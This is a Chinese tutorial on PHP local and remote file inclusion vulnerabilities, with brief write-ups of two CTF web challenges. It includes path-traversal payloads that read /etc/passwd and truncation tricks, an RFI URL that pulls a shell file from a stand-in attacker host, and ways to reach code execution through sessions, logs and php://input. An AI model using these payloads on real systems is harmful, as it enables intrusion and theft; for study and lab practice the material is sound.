一些简单的文件包含内容吧
文件包含介绍
严格来说,文件包含漏洞是“代码注入“的一种。代码注入的原理就是注入一段用户能控制的脚本或代码,并让服务端执行。
代码注入的典型代表就是文件包含。文件包含可能会出现在JSP、PHP、ASP等语言中。
常见的导致文件包含的函数如下:
PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….
JSP/Servlet: ava.io.File(),java.io.FileReader() …
ASP:include file, include virtual…
PHP文件包含主要由这四个函数完成:
include()
require()
include_once()
require_once()
当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。
- 比如DVWA low等级的文件上传
在同目录留一个包含了可执行的PHP代码的txt文件
再执行漏洞URL,发现代码被执行了
要成功的利用文件包含漏洞,需要满足下面两个条件:
1. include()等函数通过动态变量的方式引入需要包含的文件
2. 用户能够控制该动态变量
下面我们深入看看文件包含漏洞还能导致哪些后果
本地文件包含
普通本地文件包含
能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion/LFI)。比如下面这段代码就存在LFI漏洞。
- 用户能够控制参数file。当file的值为../../etc/passwd时,PHP将访问/etc/passwd文件。
但是在此之前,还需要解决Include‘/home/wwwrun/’.$file.’.php’;
- 这种写法将变量与字符串连接起来,假如用户控制$file的值为../../etc/passwd,结果为include‘/home/wwwrun/../../etc/passwd.php’;被包含的文件实际上是/etc/passwd.php,但是实际上这个文件是不存在的
有限制的本地文件包含
%00截断
PHP内核是由C语言实现的,因此使用了C语言中 的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。所以在这个地方,只要在最后加入一个0字节,就能截断file变量之后的字符串,即
../../etc/passwd\0
在Web输入时只需URL编码一下,变成
../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
%00截断目录遍历
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)
构造长目录截断
但是光防御0字节是肯定不够的。俗话说上有政策下有对策,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
目录字符串在Windows下256字节、Linux下4096字节时达到最大值,最大值长度之后的字符将被丢弃。
而只需通过【./】就可以构造出足够长的目录。比如
././././././././././././././././passwd
或者
////////////////////////passwd
又或者
../1/abc/../1/abc/../1/abc..
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)
点号截断
?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
普通远程文件包含
如果PHP的配置选项allow_url_include为ON的话(默认是关闭的),则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(Remote File Inclusion,简称RFI)
例如:
在$basePath前没有设置任何障碍,因此攻击者可以构造类似如下的恶意URL:
/?param=http://attacker/phpshell.txt?
最终加载的代码实际上执行了:
require_once 'http://attacker/phpshell.txt?/action/m_share.php';
问号后面的代码最终被解释成URL的querystring(查询用字符串),这也算一种截断方式,这是利用远程文件包含漏洞时的常见技巧。同样,%00也可以作为截断符号。
本地文件包含的利用技巧
本地文件包含漏洞,是有机会执行php代码的,但这取决于一些条件
经过不懈研究,安全研究者总结出了一下几种常见的技巧,用于本地文件包含后执行php代码。
- 包含用户上传的文件
- 包含data://或php://input等伪协议
- 包含session文件
- 包含日志文件
- 包含/proc/self/environ
- 包含上传的临时文件
- 包含其他应用创建的文件,如数据库文件,缓存文件,应用日志等,需 具体问题具体分析
百度杯web
无聊逛wp,突然看到百度杯web的wp,然后看了几道稍微简单一点的,觉得挺有意思的就记录一下.
include
这是道长见识的题目,不得不说好。
题目提示: 没错!就是文件包含漏洞。
代码很简单考的也都是简单的知识点。根据代码必须设置path的值
查看phpinfo()得到
allow_url_fopen off 能否打开URL文件
allow_url_include on 能否包含URL文件(file_get_contents 不受影响)
再来谈谈PHP伪协议php://input
输入数据流php://input
代表可以访问请求的原始数据,简单来说POST请求的情况下,php://input可以获取到post的数据。
比较特殊的一点,enctype=”multipart/form-data” 的时候 php://input 是无效的。
那么在include('php://input')
情况下,PHP将其视为URL资源
只有在allow_url_include = on 的情况下才能使用
本题就是利用这一点实现webshell的执行
这题主要是了解,当allow_url_include = on时可以用input伪协议来达到命令执行效果.
notebook
这题非常不错考的基础知识点,和大家分享一下
- 首先看见的就是文件包含,利用扫描工具扫一下
看见了phpinfo.php & robots.txt 回到主页面上
典型的文件包含.像登陆这种题目 不是注入就是session漏洞
没有扫描到注入点,先考虑的就是session漏洞看一下phpinfo都提供什么信息
看见了session的路径信息,尝试去包含发现怎么都没有回显(这里实现注册username = <?php phpinfo(); ?>)- 接下来在phpinfo里发现有基础路径
所以我们只能利用相对路径尝试获取session文件
这里怀疑他在生成session的时候重设了session存放路径,果不其然
没有回显怀疑是过滤了关键字,利用base64转一下
重新上传恶意脚本
这题主要是思路,登陆题目一般都是注入和session漏洞.